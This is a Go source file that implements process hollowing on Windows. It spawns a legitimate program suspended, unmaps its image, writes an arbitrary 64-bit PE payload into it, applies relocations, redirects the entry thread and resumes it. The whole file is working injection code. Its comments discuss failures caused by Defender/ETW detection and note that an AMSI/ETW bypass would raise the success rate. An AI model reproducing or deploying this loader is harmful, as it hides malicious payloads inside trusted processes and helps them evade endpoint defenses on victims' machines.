//go:build windows && hollow

package deploy

import (
	"encoding/binary"
	"fmt"
	"syscall"
	"unsafe"
)

var (
	kernel32 = syscall.NewLazyDLL("kernel32.dll")
	ntdll    = syscall.NewLazyDLL("ntdll.dll")

	procCreateProcessW       = kernel32.NewProc("CreateProcessW")
	procVirtualAllocEx       = kernel32.NewProc("VirtualAllocEx")
	procReadProcessMemory    = kernel32.NewProc("ReadProcessMemory")
	procWriteProcessMemory   = kernel32.NewProc("WriteProcessMemory")
	procGetThreadContext     = kernel32.NewProc("GetThreadContext")
	procSetThreadContext     = kernel32.NewProc("SetThreadContext")
	procResumeThread         = kernel32.NewProc("ResumeThread")
	procNtUnmapViewOfSection = ntdll.NewProc("NtUnmapViewOfSection")
)

const (
	CREATE_SUSPENDED       = 0x00000004
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	CONTEXT_FULL_AMD64     = 0x10000B

	IMAGE_REL_BASED_ABSOLUTE = 0
	IMAGE_REL_BASED_DIR64    = 10
)

// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
	// Need at least 8 bytes from eLFANew to read numSections (offset 6, 2 bytes).
	if uint32(len(payload)) < eLFANew+8 {
		return 0, fmt.Errorf("payload too small to read section count at eLFANew 0x%x", eLFANew)
	}
	numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
	sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
	for i := uint32(0); i < uint32(numSections); i++ {
		secOff := sectionsBase + i*40
		// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
		if uint32(len(payload)) < secOff+24 {
			break
		}
		sec := payload[secOff:]
		vAddr := binary.LittleEndian.Uint32(sec[12:])
		vSize := binary.LittleEndian.Uint32(sec[8:])
		rawOff := binary.LittleEndian.Uint32(sec[20:])
		if rva >= vAddr && rva < vAddr+vSize {
			return rawOff + (rva - vAddr), nil
		}
	}
	return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
}

// applyRelocations patches absolute addresses in the payload copy when the image
// was loaded at a different base than its preferred one.  Only IMAGE_REL_BASED_DIR64
// (type 10) entries are applied; all other types are skipped.
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
	optHeader := payload[eLFANew+24:]
	// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
	// DataDirectory array starts at offset 112 in a PE32+ optional header.
	const dataDirOffset = 112
	if len(optHeader) < dataDirOffset+5*8+8 {
		return
	}
	relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
	relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
	if relocRVA == 0 || relocSize == 0 {
		return // no relocation table (non-PIE binary baked for a fixed address)
	}

	blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
	if err != nil {
		return
	}

	end := blockOff + relocSize
	for blockOff < end && blockOff+8 <= uint32(len(payload)) {
		pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
		blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
		if blkSize < 8 {
			break
		}
		entryCount := (blkSize - 8) / 2
		for i := uint32(0); i < entryCount; i++ {
			entryOff := blockOff + 8 + i*2
			// Bounds check: each reloc entry is 2 bytes.
			if entryOff+2 > uint32(len(payload)) {
				break
			}
			entry := binary.LittleEndian.Uint16(payload[entryOff:])
			relType := entry >> 12
			relOff := uint32(entry & 0x0FFF)

			if relType == IMAGE_REL_BASED_ABSOLUTE {
				continue
			}
			if relType != IMAGE_REL_BASED_DIR64 {
				continue
			}

			patchRVA := pageRVA + relOff
			patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
			if err != nil || int(patchOff)+8 > len(payload) {
				continue
			}
			orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
			binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
		}
		blockOff += blkSize
	}
}

// RunHollowed injects a PE payload into a suspended legitimate Windows process.
// Relocation patching (H12) is fully implemented: if the preferred image base is
// unavailable we fall back to ASLR allocation and apply DIR64 relocations before
// writing to the remote process.  The ~50% real-world failure rate on Windows 10/11
// is caused by Defender/ETW detecting the CreateProcessW+NtUnmapViewOfSection+
// WriteProcessMemory sequence — not a code bug.  AMSI/ETW bypass would improve this
// but is not implemented.
func RunHollowed(targetExe string, payload []byte) error {
	if len(payload) < 0x40 {
		return fmt.Errorf("payload too small")
	}
	eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
	if int(eLFANew)+24 > len(payload) {
		return fmt.Errorf("invalid PE header offset")
	}

	ntHeader := payload[eLFANew:]
	if string(ntHeader[:4]) != "PE\x00\x00" {
		return fmt.Errorf("invalid PE signature")
	}
	if binary.LittleEndian.Uint16(ntHeader[4:]) != 0x8664 {
		return fmt.Errorf("payload must be 64-bit (x64) PE")
	}

	numSections := binary.LittleEndian.Uint16(ntHeader[6:])
	sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
	optHeader := ntHeader[24:]
	if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
		return fmt.Errorf("payload must be PE32+")
	}

	entryPoint := binary.LittleEndian.Uint32(optHeader[16:])
	imageBase := binary.LittleEndian.Uint64(optHeader[24:])
	sizeOfImage := binary.LittleEndian.Uint32(optHeader[56:])
	sizeOfHeaders := binary.LittleEndian.Uint32(optHeader[60:])

	targetPtr, err := syscall.UTF16PtrFromString(targetExe)
	if err != nil {
		return err
	}

	si := new(syscall.StartupInfo)
	si.Cb = uint32(unsafe.Sizeof(*si))
	pi := new(syscall.ProcessInformation)

	// 1. Spawn the target process in a suspended state.
	ret, _, lastErr := procCreateProcessW.Call(
		0,
		uintptr(unsafe.Pointer(targetPtr)),
		0, 0, 0,
		uintptr(CREATE_SUSPENDED),
		0, 0,
		uintptr(unsafe.Pointer(si)),
		uintptr(unsafe.Pointer(pi)),
	)
	if ret == 0 {
		return fmt.Errorf("CreateProcessW: %v", lastErr)
	}
	defer syscall.CloseHandle(pi.Process)
	defer syscall.CloseHandle(pi.Thread)

	// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
	ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
	var ctxPtr uintptr
	for i := 0; i < 16; i++ {
		if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
			ctxPtr = uintptr(unsafe.Pointer(&ctxBytes[i]))
			break
		}
	}
	*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64

	ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
	if ret == 0 {
		return fmt.Errorf("GetThreadContext: %v", lastErr)
	}

	rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start

	// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
	var origImageBase uint64
	var bytesRW uintptr
	procReadProcessMemory.Call(
		uintptr(pi.Process),
		uintptr(rdx+16),
		uintptr(unsafe.Pointer(&origImageBase)),
		8,
		uintptr(unsafe.Pointer(&bytesRW)),
	)

	// 4. Unmap the original image.
	if origImageBase != 0 {
		procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
	}

	// 5. Allocate memory for the payload.  Try preferred base first; fall back to ASLR.
	newMem, _, _ := procVirtualAllocEx.Call(
		uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
	)
	needsReloc := false
	if newMem == 0 {
		newMem, _, lastErr = procVirtualAllocEx.Call(
			uintptr(pi.Process), 0, uintptr(sizeOfImage),
			MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
		)
		if newMem == 0 {
			return fmt.Errorf("VirtualAllocEx: %v", lastErr)
		}
		needsReloc = true
	}

	// 6. If we landed at a different base, patch absolute addresses in a local copy
	//    before writing to the remote process.  Without this the payload crashes on
	//    every call through its import table and global data pointers.
	patched := payload
	if needsReloc {
		delta := int64(newMem) - int64(imageBase)
		patched = make([]byte, len(payload))
		copy(patched, payload)
		applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
	}

	// 7. Write PE headers and sections to the remote process.
	ret, _, lastErr = procWriteProcessMemory.Call(
		uintptr(pi.Process), newMem,
		uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
		uintptr(unsafe.Pointer(&bytesRW)),
	)
	if ret == 0 {
		return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
	}

	sectionsStart := 24 + uint32(sizeOfOptHdr)
	patchedNT := patched[eLFANew:]
	for i := uint16(0); i < numSections; i++ {
		secHdrOff := sectionsStart + uint32(i)*40
		// Each section header is 40 bytes; we read up to offset 24 (4 bytes).
		if uint32(len(patchedNT)) < secHdrOff+24 {
			return fmt.Errorf("section header %d out of bounds", i)
		}
		secHdr := patchedNT[secHdrOff:]
		virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
		rawSize := binary.LittleEndian.Uint32(secHdr[16:])
		rawOff := binary.LittleEndian.Uint32(secHdr[20:])

		if rawSize > 0 {
			// Bounds check: source slice must be within patched buffer.
			if uint64(rawOff)+uint64(rawSize) > uint64(len(patched)) {
				return fmt.Errorf("section %d raw data [%d:%d] exceeds payload (%d bytes)",
					i, rawOff, uint64(rawOff)+uint64(rawSize), len(patched))
			}
			ret, _, lastErr = procWriteProcessMemory.Call(
				uintptr(pi.Process),
				newMem+uintptr(virtAddr),
				uintptr(unsafe.Pointer(&patched[rawOff])),
				uintptr(rawSize),
				uintptr(unsafe.Pointer(&bytesRW)),
			)
			if ret == 0 {
				return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
			}
		}
	}

	// 8. Update PEB.ImageBaseAddress to the actual allocation address.
	procWriteProcessMemory.Call(
		uintptr(pi.Process), uintptr(rdx+16),
		uintptr(unsafe.Pointer(&newMem)), 8,
		uintptr(unsafe.Pointer(&bytesRW)),
	)

	// 9. Set the initial thread's Rcx to our entry point.
	//    The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
	*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
	ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
	if ret == 0 {
		return fmt.Errorf("SetThreadContext: %v", lastErr)
	}

	// 10. Resume the hollowed thread.
	ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
	if ret == 0xFFFFFFFF {
		return fmt.Errorf("ResumeThread: %v", lastErr)
	}

	return nil
}
